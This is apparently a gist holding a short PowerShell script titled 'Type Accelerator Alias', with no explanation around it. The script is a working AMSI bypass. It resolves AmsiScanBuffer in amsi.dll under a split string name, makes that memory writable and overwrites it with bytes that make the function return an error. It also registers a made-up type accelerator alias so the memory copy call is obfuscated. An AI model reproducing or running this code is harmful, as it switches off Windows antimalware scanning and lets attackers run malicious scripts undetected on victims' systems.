Type Accelerator Alias

gistfile1.txt

$MethodDefinition = "

    [DllImport(`"kernel32`")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport(`"kernel32`")]
    public static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport(`"kernel32`")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$ABSD = 'AmsiS'+'canBuffer';
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); 

[PSObject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::Add('dorsktork', [system.runtime.interopservices.marshal])

[dorsktork]::copy($buf, 0, $BufferAddress, 6);